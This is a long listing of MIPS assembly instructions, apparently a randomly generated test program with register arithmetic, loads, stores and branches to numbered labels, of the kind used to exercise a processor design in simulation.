sw $4, 96($0)
sw $4, 100($0)
sw $4, 104($0)
sw $3, 108($0)
sw $4, 112($0)
sw $2, 116($0)
sw $1, 120($0)
sw $3, 124($0)
mtlo $2
mfhi $2
sub $3, $2, $2
mtlo $3
TAG1:
mthi $3
multu $3, $3
ori $1, $3, 2
sll $3, $1, 3
TAG2:
bne $3, $3, TAG3
mthi $3
mfhi $4
sllv $3, $3, $4
TAG3:
sll $0, $0, 0
bgtz $3, TAG4
sllv $4, $3, $1
beq $4, $1, TAG4
TAG4:
sll $4, $4, 1
div $4, $4
mfhi $3
sw $4, 0($3)
TAG5:
sltu $3, $3, $3
mfhi $3
sw $3, 0($3)
lh $4, 0($3)
TAG6:
addiu $3, $4, 2
mfhi $2
lui $4, 8
beq $4, $2, TAG7
TAG7:
sll $0, $0, 0
bgez $2, TAG8
mtlo $4
slt $2, $2, $4
TAG8:
addu $3, $2, $2
mfhi $1
sh $1, 0($1)
mtlo $1
TAG9:
lhu $2, 0($1)
beq $1, $1, TAG10
lui $1, 3
beq $1, $2, TAG10
TAG10:
sll $0, $0, 0
mult $1, $1
sll $0, $0, 0
blez $3, TAG11
TAG11:
mthi $3
bgez $3, TAG12
mult $3, $3
sll $4, $3, 2
TAG12:
mthi $4
beq $4, $4, TAG13
sll $0, $0, 0
bltz $4, TAG13
TAG13:
mult $4, $4
bltz $4, TAG14
mtlo $4
bgtz $4, TAG14
TAG14:
and $3, $4, $4
mflo $2
sll $0, $0, 0
ori $1, $4, 8
TAG15:
blez $1, TAG16
mtlo $1
addu $1, $1, $1
mfhi $3
TAG16:
addiu $3, $3, 11
sb $3, 0($3)
lui $4, 13
bltz $3, TAG17
TAG17:
multu $4, $4
lui $2, 3
beq $2, $2, TAG18
mult $4, $4
TAG18:
bgtz $2, TAG19
mflo $3
srlv $1, $3, $3
mtlo $3
TAG19:
mfhi $2
blez $2, TAG20
mflo $4
sltu $4, $2, $2
TAG20:
sw $4, 0($4)
addu $2, $4, $4
lui $1, 11
sub $1, $2, $2
TAG21:
lhu $1, 0($1)
multu $1, $1
lui $3, 15
beq $1, $3, TAG22
TAG22:
xori $1, $3, 2
lui $3, 7
bgez $1, TAG23
mthi $3
TAG23:
mthi $3
beq $3, $3, TAG24
addu $1, $3, $3
srl $4, $3, 0
TAG24:
sra $4, $4, 8
beq $4, $4, TAG25
lb $4, 0($4)
mthi $4
TAG25:
mfhi $3
mtlo $4
lw $1, 0($4)
mult $4, $3
TAG26:
blez $1, TAG27
slti $1, $1, 8
mfhi $3
slti $2, $1, 0
TAG27:
lui $1, 4
mult $2, $2
multu $1, $2
mtlo $1
TAG28:
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
bne $1, $1, TAG29
TAG29:
mthi $4
blez $4, TAG30
srl $4, $4, 0
lhu $2, 0($4)
TAG30:
mult $2, $2
mfhi $3
bne $3, $2, TAG31
nor $1, $3, $2
TAG31:
bgtz $1, TAG32
subu $2, $1, $1
mflo $4
mult $1, $1
TAG32:
addi $3, $4, 12
beq $3, $3, TAG33
lh $4, 0($4)
bltz $4, TAG33
TAG33:
xor $3, $4, $4
bgez $4, TAG34
sb $3, 0($3)
mtlo $4
TAG34:
srl $1, $3, 7
mult $3, $3
bltz $3, TAG35
mtlo $1
TAG35:
mthi $1
slti $3, $1, 5
bltz $1, TAG36
sh $3, 0($1)
TAG36:
lb $1, 0($3)
bne $3, $3, TAG37
mthi $1
srav $3, $1, $1
TAG37:
mfhi $1
lui $1, 2
sw $1, 0($3)
sll $0, $0, 0
TAG38:
beq $4, $4, TAG39
mflo $3
sltu $2, $3, $3
beq $2, $3, TAG39
TAG39:
mflo $2
sh $2, 0($2)
slt $4, $2, $2
mthi $2
TAG40:
beq $4, $4, TAG41
sra $1, $4, 2
lbu $4, 0($4)
mflo $2
TAG41:
lbu $2, 0($2)
srav $3, $2, $2
bgez $2, TAG42
sh $2, 0($3)
TAG42:
sh $3, 0($3)
lb $3, 0($3)
beq $3, $3, TAG43
multu $3, $3
TAG43:
mthi $3
mflo $4
bgez $4, TAG44
mtlo $4
TAG44:
bgez $4, TAG45
lhu $3, 0($4)
sh $4, 0($3)
xor $1, $3, $3
TAG45:
lui $4, 3
sll $0, $0, 0
lhu $3, 0($1)
mfhi $1
TAG46:
blez $1, TAG47
lb $2, 0($1)
divu $2, $1
subu $1, $1, $2
TAG47:
beq $1, $1, TAG48
mfhi $3
and $4, $3, $1
slt $3, $3, $1
TAG48:
addu $4, $3, $3
bne $4, $4, TAG49
sltiu $2, $4, 15
mtlo $4
TAG49:
sb $2, 0($2)
lui $1, 9
or $2, $2, $2
lui $4, 2
TAG50:
bne $4, $4, TAG51
addu $1, $4, $4
slti $1, $4, 1
mthi $1
TAG51:
nor $3, $1, $1
bgtz $3, TAG52
mthi $3
beq $1, $1, TAG52
TAG52:
sll $0, $0, 0
div $3, $3
addiu $4, $3, 2
and $1, $4, $3
TAG53:
beq $1, $1, TAG54
lui $2, 6
addi $1, $2, 0
mflo $2
TAG54:
mtlo $2
blez $2, TAG55
mfhi $1
ori $3, $1, 0
TAG55:
addiu $2, $3, 4
mthi $2
mtlo $2
blez $2, TAG56
TAG56:
mflo $2
sw $2, 0($2)
slt $3, $2, $2
mtlo $2
TAG57:
sh $3, 0($3)
sllv $3, $3, $3
srav $3, $3, $3
beq $3, $3, TAG58
TAG58:
add $2, $3, $3
mflo $3
sh $2, 0($2)
lui $4, 15
TAG59:
multu $4, $4
sll $0, $0, 0
bgez $4, TAG60
sll $0, $0, 0
TAG60:
mtlo $4
beq $4, $4, TAG61
sll $0, $0, 0
sb $4, 0($4)
TAG61:
subu $2, $4, $4
sb $2, 0($2)
sll $0, $0, 0
lui $3, 4
TAG62:
sll $0, $0, 0
beq $3, $3, TAG63
and $3, $3, $3
mflo $4
TAG63:
mtlo $4
mthi $4
mflo $4
bgez $4, TAG64
TAG64:
multu $4, $4
mult $4, $4
bgez $4, TAG65
mtlo $4
TAG65:
sll $0, $0, 0
mthi $2
blez $4, TAG66
andi $1, $2, 2
TAG66:
lui $2, 8
bgez $2, TAG67
sll $0, $0, 0
addi $1, $2, 11
TAG67:
lbu $2, 0($1)
ori $4, $1, 13
mfhi $4
multu $2, $4
TAG68:
mfhi $3
mthi $3
mfhi $3
mult $3, $3
TAG69:
mthi $3
bgtz $3, TAG70
lui $3, 14
lui $2, 13
TAG70:
blez $2, TAG71
mult $2, $2
beq $2, $2, TAG71
lui $2, 3
TAG71:
mthi $2
lui $4, 15
subu $1, $4, $4
mthi $4
TAG72:
bne $1, $1, TAG73
mtlo $1
blez $1, TAG73
xori $4, $1, 10
TAG73:
mfhi $2
bgez $4, TAG74
lui $2, 15
mfhi $3
TAG74:
sll $0, $0, 0
beq $3, $3, TAG75
sll $0, $0, 0
sltiu $3, $3, 0
TAG75:
mtlo $3
addiu $1, $3, 2
bgtz $1, TAG76
mtlo $3
TAG76:
div $1, $1
bne $1, $1, TAG77
lui $4, 7
divu $4, $4
TAG77:
mfhi $3
multu $4, $3
sll $0, $0, 0
lhu $3, 0($3)
TAG78:
bne $3, $3, TAG79
sw $3, 0($3)
sh $3, 0($3)
mfhi $2
TAG79:
lui $3, 4
bltz $3, TAG80
mfhi $3
addiu $4, $3, 8
TAG80:
addu $4, $4, $4
lui $1, 8
slt $1, $4, $1
mthi $1
TAG81:
mtlo $1
lb $4, 0($1)
beq $4, $1, TAG82
sh $1, 0($4)
TAG82:
multu $4, $4
sb $4, 0($4)
mthi $4
lw $1, 0($4)
TAG83:
sw $1, 0($1)
beq $1, $1, TAG84
multu $1, $1
lui $4, 0
TAG84:
mflo $3
mtlo $3
mtlo $3
sb $3, 0($3)
TAG85:
mult $3, $3
bne $3, $3, TAG86
mult $3, $3
mthi $3
TAG86:
sb $3, 0($3)
sw $3, 0($3)
lui $1, 12
sll $0, $0, 0
TAG87:
mfhi $2
mthi $1
multu $2, $2
lui $2, 7
TAG88:
bgtz $2, TAG89
lui $3, 14
mthi $2
bne $2, $3, TAG89
TAG89:
xori $1, $3, 12
srlv $1, $1, $3
divu $3, $1
sra $4, $1, 7
TAG90:
mthi $4
andi $3, $4, 2
mtlo $4
sub $3, $4, $3
TAG91:
divu $3, $3
sb $3, -7168($3)
subu $3, $3, $3
sh $3, 0($3)
TAG92:
add $4, $3, $3
mfhi $2
sb $2, 0($2)
sw $2, 0($2)
TAG93:
bne $2, $2, TAG94
mult $2, $2
beq $2, $2, TAG94
lui $3, 8
TAG94:
bne $3, $3, TAG95
mult $3, $3
srl $2, $3, 2
mfhi $2
TAG95:
mtlo $2
blez $2, TAG96
mthi $2
mflo $1
TAG96:
mthi $1
sw $1, 0($1)
srlv $2, $1, $1
mflo $4
TAG97:
subu $2, $4, $4
beq $2, $4, TAG98
sw $2, 0($2)
lb $4, 0($4)
TAG98:
div $4, $4
lhu $2, 0($4)
mfhi $3
mult $3, $2
TAG99:
mthi $3
lh $1, 0($3)
nor $3, $1, $3
nor $1, $1, $3
TAG100:
lui $2, 6
lui $4, 11
lhu $1, 0($1)
sb $4, 0($1)
TAG101:
lui $1, 7
bne $1, $1, TAG102
sll $0, $0, 0
multu $2, $2
TAG102:
bne $2, $2, TAG103
lui $1, 15
sll $0, $0, 0
mflo $3
TAG103:
blez $3, TAG104
xor $2, $3, $3
nor $4, $2, $3
beq $3, $3, TAG104
TAG104:
sll $0, $0, 0
lui $4, 6
lui $3, 4
mfhi $3
TAG105:
bne $3, $3, TAG106
slti $2, $3, 13
sb $3, 0($2)
mult $3, $2
TAG106:
mflo $2
mthi $2
bgtz $2, TAG107
mthi $2
TAG107:
srlv $2, $2, $2
bne $2, $2, TAG108
mult $2, $2
lbu $3, 0($2)
TAG108:
sll $1, $3, 13
sll $1, $1, 14
mult $1, $1
addu $4, $3, $3
TAG109:
mflo $2
lh $1, 0($2)
mflo $4
add $1, $4, $2
TAG110:
mfhi $3
lui $1, 4
sll $0, $0, 0
mthi $3
TAG111:
ori $3, $1, 0
sll $0, $0, 0
mflo $1
sll $0, $0, 0
TAG112:
beq $1, $1, TAG113
multu $1, $1
lw $2, 0($1)
lbu $1, 0($1)
TAG113:
mflo $4
lui $4, 9
beq $1, $1, TAG114
mthi $4
TAG114:
lui $2, 10
mflo $1
mfhi $3
sll $0, $0, 0
TAG115:
multu $3, $3
sll $0, $0, 0
div $3, $3
sll $3, $3, 12
TAG116:
mflo $4
blez $3, TAG117
sb $3, 0($4)
beq $3, $3, TAG117
TAG117:
mult $4, $4
mthi $4
beq $4, $4, TAG118
sll $4, $4, 2
TAG118:
addiu $3, $4, 0
bne $3, $4, TAG119
sh $3, 0($3)
lh $2, 0($4)
TAG119:
mult $2, $2
bne $2, $2, TAG120
mflo $1
mthi $2
TAG120:
bgez $1, TAG121
mfhi $3
mthi $3
lh $2, 0($3)
TAG121:
beq $2, $2, TAG122
sw $2, 0($2)
sub $3, $2, $2
mtlo $2
TAG122:
sllv $4, $3, $3
mflo $4
sltiu $1, $4, 1
lbu $3, 0($4)
TAG123:
bgez $3, TAG124
addu $4, $3, $3
lui $1, 1
lui $4, 14
TAG124:
xori $4, $4, 13
sb $4, 0($4)
xor $1, $4, $4
sw $4, 0($1)
TAG125:
mult $1, $1
mfhi $1
lui $1, 11
mthi $1
TAG126:
addiu $2, $1, 6
mthi $1
bltz $2, TAG127
mflo $2
TAG127:
lhu $4, 0($2)
sllv $2, $2, $2
mthi $2
bne $2, $2, TAG128
TAG128:
mfhi $1
mthi $2
bgtz $2, TAG129
lb $4, 0($2)
TAG129:
mflo $4
srav $4, $4, $4
bgez $4, TAG130
mthi $4
TAG130:
bltz $4, TAG131
slt $4, $4, $4
bne $4, $4, TAG131
mult $4, $4
TAG131:
beq $4, $4, TAG132
mtlo $4
mtlo $4
addiu $2, $4, 2
TAG132:
mtlo $2
andi $1, $2, 13
mtlo $2
lhu $3, 0($2)
TAG133:
mtlo $3
lb $3, 0($3)
lb $3, 0($3)
lb $2, 0($3)
TAG134:
beq $2, $2, TAG135
nor $1, $2, $2
and $2, $2, $1
mflo $4
TAG135:
bgtz $4, TAG136
srlv $3, $4, $4
bgez $4, TAG136
and $1, $4, $4
TAG136:
mthi $1
mflo $1
sltu $2, $1, $1
mfhi $4
TAG137:
andi $2, $4, 4
lui $1, 12
bne $2, $4, TAG138
mfhi $3
TAG138:
bgez $3, TAG139
mthi $3
slti $4, $3, 10
mfhi $1
TAG139:
sll $0, $0, 0
mfhi $3
mtlo $1
blez $1, TAG140
TAG140:
and $3, $3, $3
lui $4, 13
mflo $4
multu $3, $4
TAG141:
div $4, $4
mflo $3
sb $4, 0($3)
mthi $3
TAG142:
div $3, $3
mflo $2
mfhi $4
bne $4, $2, TAG143
TAG143:
multu $4, $4
lui $3, 7
sw $4, 0($4)
lui $1, 1
TAG144:
sll $0, $0, 0
nor $4, $1, $1
lui $4, 7
sll $0, $0, 0
TAG145:
bne $4, $4, TAG146
addiu $4, $4, 6
lui $4, 0
mfhi $1
TAG146:
lui $1, 13
or $4, $1, $1
srlv $2, $1, $4
sll $0, $0, 0
TAG147:
sll $0, $0, 0
bgtz $2, TAG148
mtlo $2
sllv $4, $2, $2
TAG148:
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
slt $2, $4, $4
TAG149:
lui $3, 10
mtlo $3
beq $3, $3, TAG150
mflo $3
TAG150:
mtlo $3
and $4, $3, $3
sltu $2, $3, $4
multu $2, $2
TAG151:
sh $2, 0($2)
mflo $1
mthi $1
sll $1, $2, 3
TAG152:
sltiu $2, $1, 10
bgtz $1, TAG153
mtlo $2
slti $2, $1, 15
TAG153:
bltz $2, TAG154
mtlo $2
lbu $4, 0($2)
srav $3, $2, $4
TAG154:
mthi $3
blez $3, TAG155
mfhi $1
bne $3, $1, TAG155
TAG155:
lui $2, 13
mthi $1
mtlo $1
beq $1, $1, TAG156
TAG156:
xori $1, $2, 7
lui $1, 7
sll $0, $0, 0
addiu $2, $1, 12
TAG157:
beq $2, $2, TAG158
div $2, $2
subu $1, $2, $2
multu $2, $1
TAG158:
sll $0, $0, 0
sll $0, $0, 0
lui $4, 15
ori $3, $4, 8
TAG159:
multu $3, $3
sll $0, $0, 0
lui $1, 3
lui $3, 0
TAG160:
sub $1, $3, $3
multu $3, $1
sb $1, 0($1)
mtlo $1
TAG161:
sh $1, 0($1)
multu $1, $1
bltz $1, TAG162
lui $2, 11
TAG162:
sll $0, $0, 0
lui $2, 4
lui $4, 6
mult $2, $2
TAG163:
sll $0, $0, 0
sll $0, $0, 0
multu $2, $2
divu $4, $4
TAG164:
sll $0, $0, 0
mtlo $2
sll $0, $0, 0
bltz $2, TAG165
TAG165:
mflo $4
sll $0, $0, 0
bgtz $4, TAG166
lui $4, 2
TAG166:
bne $4, $4, TAG167
mult $4, $4
bne $4, $4, TAG167
lui $4, 7
TAG167:
xori $4, $4, 7
sll $0, $0, 0
sll $0, $0, 0
mflo $1
TAG168:
bltz $1, TAG169
sb $1, 0($1)
multu $1, $1
lbu $3, 0($1)
TAG169:
mflo $1
multu $3, $3
sh $1, 0($3)
mflo $2
TAG170:
sh $2, 0($2)
mtlo $2
slti $1, $2, 3
beq $2, $2, TAG171
TAG171:
andi $1, $1, 6
srl $2, $1, 6
subu $3, $1, $2
lh $2, 0($2)
TAG172:
mthi $2
multu $2, $2
lw $3, 0($2)
srlv $3, $2, $2
TAG173:
beq $3, $3, TAG174
lui $4, 14
mflo $4
bgtz $3, TAG174
TAG174:
multu $4, $4
sll $0, $0, 0
mtlo $4
srlv $3, $4, $4
TAG175:
divu $3, $3
multu $3, $3
divu $3, $3
mtlo $3
TAG176:
bne $3, $3, TAG177
divu $3, $3
beq $3, $3, TAG177
multu $3, $3
TAG177:
sll $0, $0, 0
bgez $3, TAG178
mflo $1
lw $4, 0($3)
TAG178:
mflo $1
lui $4, 4
bltz $4, TAG179
divu $1, $4
TAG179:
mtlo $4
or $1, $4, $4
sll $0, $0, 0
sll $3, $4, 4
TAG180:
mthi $3
sll $0, $0, 0
lui $1, 14
mtlo $3
TAG181:
sltiu $1, $1, 8
sll $2, $1, 12
multu $1, $1
bne $2, $1, TAG182
TAG182:
andi $4, $2, 9
sra $1, $2, 4
addu $2, $4, $4
sra $1, $2, 5
TAG183:
mflo $2
lui $2, 2
mthi $1
bltz $2, TAG184
TAG184:
sll $0, $0, 0
sll $4, $2, 7
multu $2, $4
mtlo $4
TAG185:
and $2, $4, $4
div $4, $4
sllv $2, $4, $4
beq $2, $4, TAG186
TAG186:
addiu $2, $2, 6
andi $3, $2, 10
bgtz $2, TAG187
mflo $4
TAG187:
lui $4, 8
bne $4, $4, TAG188
sll $0, $0, 0
sll $0, $0, 0
TAG188:
slti $3, $4, 1
mult $3, $4
sw $4, 0($3)
srlv $1, $4, $3
TAG189:
multu $1, $1
lui $1, 13
sll $0, $0, 0
mthi $1
TAG190:
bltz $1, TAG191
sltu $4, $1, $1
mult $1, $4
div $1, $1
TAG191:
lhu $2, 0($4)
lui $2, 2
lui $2, 1
multu $2, $2
TAG192:
mfhi $3
sll $0, $0, 0
multu $1, $1
srlv $2, $2, $3
TAG193:
bgez $2, TAG194
mflo $1
lui $4, 10
bgez $2, TAG194
TAG194:
addu $2, $4, $4
beq $4, $2, TAG195
multu $4, $2
beq $2, $2, TAG195
TAG195:
sra $1, $2, 12
lui $1, 2
sll $0, $0, 0
lui $4, 14
TAG196:
mthi $4
sra $1, $4, 7
bgtz $1, TAG197
mthi $4
TAG197:
divu $1, $1
mtlo $1
lui $3, 15
lui $2, 5
TAG198:
subu $1, $2, $2
bgtz $2, TAG199
mult $2, $2
lh $4, 0($1)
TAG199:
mthi $4
lui $1, 7
ori $1, $4, 0
bltz $1, TAG200
TAG200:
mthi $1
multu $1, $1
sra $3, $1, 13
divu $3, $1
TAG201:
bgtz $3, TAG202
slt $3, $3, $3
sw $3, 0($3)
slt $3, $3, $3
TAG202:
lb $3, 0($3)
lb $4, 0($3)
bgtz $4, TAG203
lui $2, 11
TAG203:
mflo $1
mtlo $1
mfhi $4
sh $4, 0($4)
TAG204:
mtlo $4
mflo $1
nor $4, $4, $1
beq $4, $1, TAG205
TAG205:
mtlo $4
srlv $2, $4, $4
lhu $4, 113($4)
blez $4, TAG206
TAG206:
sll $2, $4, 0
sb $2, 0($2)
bgtz $2, TAG207
lw $2, 0($4)
TAG207:
lui $1, 8
mflo $4
srav $2, $2, $2
sll $0, $0, 0
TAG208:
mtlo $2
sra $4, $2, 14
sll $0, $0, 0
sb $4, 0($4)
TAG209:
mult $4, $4
lui $4, 15
srl $1, $4, 11
mfhi $4
TAG210:
mfhi $2
subu $1, $2, $4
sh $2, 0($2)
lui $2, 14
TAG211:
lui $4, 4
lui $3, 10
bgez $4, TAG212
mthi $2
TAG212:
sll $0, $0, 0
multu $2, $2
divu $3, $3
mtlo $2
TAG213:
lui $2, 4
div $2, $2
mfhi $3
sub $2, $2, $3
TAG214:
multu $2, $2
lui $1, 0
lb $1, 0($1)
mflo $2
TAG215:
xori $3, $2, 14
mfhi $2
bne $3, $2, TAG216
mthi $2
TAG216:
sll $2, $2, 1
sb $2, 0($2)
mflo $1
sh $1, 0($2)
TAG217:
mfhi $4
lui $2, 15
bgtz $1, TAG218
lw $3, 0($4)
TAG218:
beq $3, $3, TAG219
sll $3, $3, 10
or $2, $3, $3
mthi $2
TAG219:
andi $2, $2, 2
bltz $2, TAG220
srl $4, $2, 11
sllv $2, $2, $4
TAG220:
lui $4, 6
bne $2, $2, TAG221
multu $4, $2
bgtz $4, TAG221
TAG221:
sll $0, $0, 0
lui $1, 0
bgtz $4, TAG222
lui $1, 1
TAG222:
mflo $3
mtlo $1
sll $3, $1, 8
sltiu $2, $3, 2
TAG223:
multu $2, $2
bgez $2, TAG224
lui $1, 7
mflo $2
TAG224:
and $3, $2, $2
lui $3, 9
mflo $2
bne $2, $2, TAG225
TAG225:
lui $3, 10
mflo $4
lui $1, 14
sll $0, $0, 0
TAG226:
beq $4, $4, TAG227
multu $4, $4
or $4, $4, $4
bltz $4, TAG227
TAG227:
lui $1, 13
andi $3, $1, 3
lh $2, 0($3)
bne $4, $2, TAG228
TAG228:
lui $3, 13
beq $2, $2, TAG229
lui $4, 12
xori $3, $3, 11
TAG229:
sra $2, $3, 2
multu $2, $3
mtlo $2
mthi $2
TAG230:
bne $2, $2, TAG231
sltiu $2, $2, 0
beq $2, $2, TAG231
mthi $2
TAG231:
sb $2, 0($2)
sw $2, 0($2)
mfhi $3
subu $4, $3, $2
TAG232:
sh $4, 0($4)
mfhi $2
mthi $4
sltiu $1, $4, 1
TAG233:
sra $1, $1, 2
multu $1, $1
sb $1, 0($1)
sltiu $1, $1, 11
TAG234:
srlv $1, $1, $1
mult $1, $1
lh $4, 0($1)
mult $1, $1
TAG235:
mthi $4
multu $4, $4
sb $4, 0($4)
lh $3, 0($4)
TAG236:
lbu $2, 0($3)
lw $2, 0($2)
lui $1, 10
mthi $1
TAG237:
andi $3, $1, 1
ori $2, $3, 9
mflo $1
lui $4, 14
TAG238:
divu $4, $4
beq $4, $4, TAG239
sll $0, $0, 0
mtlo $1
TAG239:
mtlo $1
lb $4, 0($1)
multu $4, $4
lui $2, 3
TAG240:
div $2, $2
sll $0, $0, 0
bne $2, $2, TAG241
mult $2, $2
TAG241:
lui $4, 3
slti $1, $4, 11
div $1, $2
mult $1, $4
TAG242:
or $1, $1, $1
lhu $3, 0($1)
mthi $1
beq $1, $3, TAG243
TAG243:
multu $3, $3
bgtz $3, TAG244
mfhi $2
bgez $2, TAG244
TAG244:
mtlo $2
lui $2, 15
bgez $2, TAG245
lui $1, 4
TAG245:
bne $1, $1, TAG246
or $4, $1, $1
mflo $2
mfhi $3
TAG246:
mtlo $3
mult $3, $3
xor $4, $3, $3
mflo $1
TAG247:
sltiu $1, $1, 8
mthi $1
mtlo $1
lb $2, 0($1)
TAG248:
xori $2, $2, 2
bgtz $2, TAG249
srav $1, $2, $2
lhu $4, 0($2)
TAG249:
multu $4, $4
mtlo $4
sh $4, 0($4)
lui $3, 3
TAG250:
mult $3, $3
sra $4, $3, 6
ori $4, $4, 4
lui $4, 9
TAG251:
div $4, $4
mult $4, $4
div $4, $4
sll $0, $0, 0
TAG252:
bgtz $4, TAG253
mflo $3
mfhi $1
mfhi $3
TAG253:
lui $4, 15
mfhi $3
mult $4, $3
srl $1, $3, 5
TAG254:
mult $1, $1
add $1, $1, $1
mult $1, $1
mthi $1
TAG255:
multu $1, $1
lui $1, 8
nor $2, $1, $1
sltiu $4, $2, 9
TAG256:
lw $2, 0($4)
bne $4, $2, TAG257
sh $2, 0($2)
add $2, $2, $2
TAG257:
sb $2, 0($2)
lbu $4, 0($2)
sh $2, 0($2)
beq $4, $2, TAG258
TAG258:
sh $4, 0($4)
bgtz $4, TAG259
lui $3, 4
lui $1, 6
TAG259:
beq $1, $1, TAG260
lui $4, 14
bgez $4, TAG260
sb $4, 0($4)
TAG260:
mult $4, $4
sll $0, $0, 0
sll $0, $0, 0
mfhi $3
TAG261:
slt $1, $3, $3
lb $2, -196($3)
sllv $3, $2, $1
lw $3, 0($3)
TAG262:
blez $3, TAG263
slti $4, $3, 0
lui $1, 8
bgez $4, TAG263
TAG263:
mthi $1
sb $1, 0($1)
addiu $1, $1, 4
blez $1, TAG264
TAG264:
mfhi $2
mfhi $3
sltiu $2, $3, 4
addiu $3, $2, 1
TAG265:
lui $4, 10
sltu $3, $4, $4
multu $3, $3
sh $3, 0($3)
TAG266:
lbu $2, 0($3)
mfhi $3
sw $3, 0($3)
lui $4, 12
TAG267:
bne $4, $4, TAG268
sll $1, $4, 5
slt $2, $4, $1
mflo $1
TAG268:
slti $4, $1, 13
slt $3, $1, $1
lui $1, 0
addi $2, $1, 15
TAG269:
lui $2, 9
lui $3, 5
bgtz $3, TAG270
sll $0, $0, 0
TAG270:
div $3, $3
mflo $3
sb $3, 0($3)
beq $3, $3, TAG271
TAG271:
lbu $3, 0($3)
blez $3, TAG272
srlv $2, $3, $3
sh $3, 0($2)
TAG272:
mfhi $4
beq $2, $4, TAG273
sll $1, $4, 1
multu $2, $1
TAG273:
sh $1, 0($1)
slti $3, $1, 10
mthi $3
slti $1, $1, 1
TAG274:
srl $2, $1, 4
lui $4, 11
mflo $4
mflo $1
TAG275:
lbu $2, 0($1)
lui $3, 10
mflo $2
or $2, $2, $3
TAG276:
sll $0, $0, 0
addiu $2, $2, 5
bltz $2, TAG277
addu $4, $2, $2
TAG277:
beq $4, $4, TAG278
mult $4, $4
bgez $4, TAG278
div $4, $4
TAG278:
mfhi $2
bne $2, $2, TAG279
mflo $2
beq $2, $2, TAG279
TAG279:
mtlo $2
or $2, $2, $2
blez $2, TAG280
lui $3, 2
TAG280:
sll $0, $0, 0
bgez $3, TAG281
nor $3, $3, $3
add $4, $3, $3
TAG281:
bltz $4, TAG282
lui $2, 3
multu $2, $4
slti $2, $2, 4
TAG282:
mtlo $2
blez $2, TAG283
slt $4, $2, $2
multu $4, $4
TAG283:
addiu $4, $4, 11
lui $2, 8
beq $4, $2, TAG284
lui $2, 1
TAG284:
addiu $4, $2, 1
sll $0, $0, 0
lui $1, 5
sll $0, $0, 0
TAG285:
sll $0, $0, 0
mfhi $4
mult $4, $1
multu $1, $4
TAG286:
mthi $4
mtlo $4
div $4, $4
mflo $3
TAG287:
lb $2, 0($3)
sh $2, 0($2)
sra $2, $3, 12
lui $2, 4
TAG288:
ori $2, $2, 6
bne $2, $2, TAG289
lui $1, 6
mflo $4
TAG289:
mult $4, $4
lui $2, 1
mtlo $4
mtlo $4
TAG290:
bgtz $2, TAG291
xori $4, $2, 8
bltz $4, TAG291
lhu $2, 0($2)
TAG291:
sll $0, $0, 0
mflo $2
sb $2, 0($2)
sb $2, 0($2)
TAG292:
bgez $2, TAG293
lbu $3, 0($2)
blez $2, TAG293
lh $2, 0($3)
TAG293:
mtlo $2
divu $2, $2
lbu $3, 0($2)
mflo $4
TAG294:
multu $4, $4
div $4, $4
lui $4, 11
sll $0, $0, 0
TAG295:
sltu $4, $3, $3
lbu $1, 0($4)
or $1, $4, $3
divu $4, $3
TAG296:
ori $1, $1, 4
beq $1, $1, TAG297
mflo $1
multu $1, $1
TAG297:
addiu $3, $1, 0
bne $1, $1, TAG298
srlv $3, $3, $1
mflo $2
TAG298:
lw $3, 0($2)
mtlo $3
mult $3, $2
lhu $4, 0($2)
TAG299:
sll $0, $0, 0
mtlo $4
blez $4, TAG300
mflo $1
TAG300:
bne $1, $1, TAG301
sllv $4, $1, $1
mflo $2
lbu $2, -256($1)
TAG301:
bgtz $2, TAG302
mult $2, $2
bgez $2, TAG302
sb $2, 0($2)
TAG302:
srlv $1, $2, $2
bgez $1, TAG303
sh $2, 0($2)
bgtz $1, TAG303
TAG303:
mtlo $1
multu $1, $1
sb $1, 0($1)
mtlo $1
TAG304:
bne $1, $1, TAG305
multu $1, $1
bne $1, $1, TAG305
sb $1, 0($1)
TAG305:
mult $1, $1
lh $3, 0($1)
lui $1, 3
sra $1, $1, 11
TAG306:
mfhi $4
bne $1, $4, TAG307
sw $1, 0($1)
sltu $3, $1, $4
TAG307:
mtlo $3
mthi $3
lbu $4, 0($3)
lui $2, 13
TAG308:
bgez $2, TAG309
mult $2, $2
mult $2, $2
lui $3, 2
TAG309:
mthi $3
ori $2, $3, 14
blez $3, TAG310
multu $3, $2
TAG310:
lbu $3, 0($2)
lh $2, 0($3)
lw $3, 0($3)
blez $3, TAG311
TAG311:
mthi $3
mult $3, $3
mflo $4
slti $2, $4, 7
TAG312:
mtlo $2
mtlo $2
bgtz $2, TAG313
sb $2, 0($2)
TAG313:
lui $4, 1
or $1, $2, $4
addiu $4, $4, 5
mthi $1
TAG314:
mflo $2
xor $3, $2, $4
mtlo $2
and $1, $4, $4
TAG315:
andi $1, $1, 4
divu $1, $1
lui $1, 14
xor $2, $1, $1
TAG316:
lb $4, 0($2)
lui $2, 1
addu $3, $4, $2
bne $3, $4, TAG317
TAG317:
mfhi $1
bgtz $1, TAG318
mtlo $1
lui $2, 14
TAG318:
bne $2, $2, TAG319
mtlo $2
div $2, $2
sltu $4, $2, $2
TAG319:
sra $2, $4, 6
xor $2, $4, $4
andi $4, $4, 9
lui $4, 8
TAG320:
bne $4, $4, TAG321
addu $2, $4, $4
lui $2, 10
lui $1, 11
TAG321:
sll $0, $0, 0
lui $1, 10
mthi $1
mtlo $1
TAG322:
mflo $1
mfhi $2
sll $0, $0, 0
blez $1, TAG323
TAG323:
divu $2, $2
multu $2, $2
div $2, $2
slt $3, $2, $2
TAG324:
lui $1, 2
div $1, $1
mtlo $1
bne $3, $3, TAG325
TAG325:
mtlo $1
sll $0, $0, 0
mthi $1
xori $2, $1, 5
TAG326:
lui $2, 15
mfhi $4
mflo $2
sll $0, $0, 0
TAG327:
mfhi $3
divu $1, $3
bne $1, $1, TAG328
sll $0, $0, 0
TAG328:
bne $3, $3, TAG329
sll $0, $0, 0
sll $0, $0, 0
and $1, $3, $3
TAG329:
sll $0, $0, 0
mtlo $1
mtlo $1
addiu $4, $1, 1
TAG330:
bgez $4, TAG331
slti $2, $4, 13
lui $3, 11
sh $2, 0($2)
TAG331:
subu $3, $3, $3
lui $4, 13
lb $1, 0($3)
bltz $4, TAG332
TAG332:
mflo $4
sll $0, $0, 0
mthi $4
mfhi $3
TAG333:
mthi $3
andi $4, $3, 3
mflo $2
sh $4, 0($4)
TAG334:
sll $0, $0, 0
xor $1, $2, $2
sll $0, $0, 0
lui $4, 5
TAG335:
addu $4, $4, $4
mult $4, $4
bgez $4, TAG336
sll $0, $0, 0
TAG336:
sll $0, $0, 0
bltz $2, TAG337
mthi $2
mflo $4
TAG337:
bne $4, $4, TAG338
lbu $4, 0($4)
